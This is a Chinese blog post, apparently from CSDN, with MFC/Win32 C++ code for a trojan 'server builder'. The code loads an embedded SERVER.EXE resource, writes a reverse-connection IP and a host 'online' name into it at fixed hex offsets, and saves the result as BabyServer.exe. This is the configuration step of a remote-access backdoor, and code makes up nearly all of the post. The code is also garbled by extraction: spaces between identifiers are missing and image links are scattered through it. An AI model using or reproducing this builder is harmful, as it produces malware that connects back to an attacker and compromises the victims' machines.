实现思路很简单 用16进制工具 打开.EXE文件 找到要替换的内容地址 进行更新写入就可以了
注意点: 地址是从0开始的如下图所示的 地址应该是:0X5124
![](https://p-blog.csdn.net/images/p_blog_csdn_net/chinafe/bmp.bmp)
其实改写代码如下:
void
ServerConfig::OnCreate()
![](https://i-blog.csdnimg.cn/blog_migrate/a41954a27d6ad96fa2c2cf816e677448.gif)
...
{
UpdateData();
if(m_ip.IsEmpty()||m_name.IsEmpty())
![](https://i-blog.csdnimg.cn/blog_migrate/37c8bf68cdc3cc81759c34160776bc53.gif)
...{
MessageBox("请输入反向连接的IP地址和主机上线名称");
}
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
DWORDdwSize,dwWritten;
HRSRChr=FindResource(0,MAKEINTRESOURCE(IDR_SERVER),"SERVER");//查找资源
if(hr==NULL)MessageBox("hrerror");
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
dwSize=SizeofResource(NULL,hr);
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
HGLOBALhg=LoadResource(NULL,hr);//加载资源
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
if(hg==NULL)MessageBox("hgerror");
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
LPSTRlp=(LPSTR)LockResource(hg);//锁定资源
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
if(lp==NULL)MessageBox("lperror");
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
LPBYTEp=(LPBYTE)GlobalAlloc(GPTR,dwSize);
if(p==NULL)MessageBox("lperror");
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
CopyMemory((LPVOID)p,(LPCVOID)LockResource(hg),dwSize);//复制资源数据
CopyMemory((LPVOID)(p+0x5020),(LPCVOID)m_name.LockBuffer(),MAX_PATH);//写入主机名称信息
CopyMemory((LPVOID)(p+0x5124),(LPCVOID)m_ip.LockBuffer(),15);//写入主机名称信息
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
![](https://i-blog.csdnimg.cn/blog_migrate/37c8bf68cdc3cc81759c34160776bc53.gif)
/**//*本地文件路径*/
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
CStringSaveFilePath;
BROWSEINFObi;
ZeroMemory(&bi,sizeof(BROWSEINFO));
bi.hwndOwner=GetSafeHwnd();
bi.lpszTitle="将文件保存到";
LPITEMIDLISTidl=SHBrowseForFolder(&bi);
if(idl==NULL)
return;
SHGetPathFromIDList(idl,SaveFilePath.LockBuffer());
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
strcat(SaveFilePath.LockBuffer(),"\");
strcat(SaveFilePath.LockBuffer(),"BabyServer.exe");
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
HANDLEhFile;
hFile=CreateFile(SaveFilePath.LockBuffer(),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
if(hFile==NULL)MessageBox("fileerror");
elseMessageBox("服务端文件生成成功!");
WriteFile(hFile,(LPCVOID)p,dwSize,&dwWritten,NULL);//写入文件
CloseHandle(hFile);
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
![](https://i-blog.csdnimg.cn/blog_migrate/6a9c071a08f1dae2d3e1c512000eef41.gif)
}
IDC_SERVER为引入的SERVER.EXE资源文件 SERVER为 资源类类型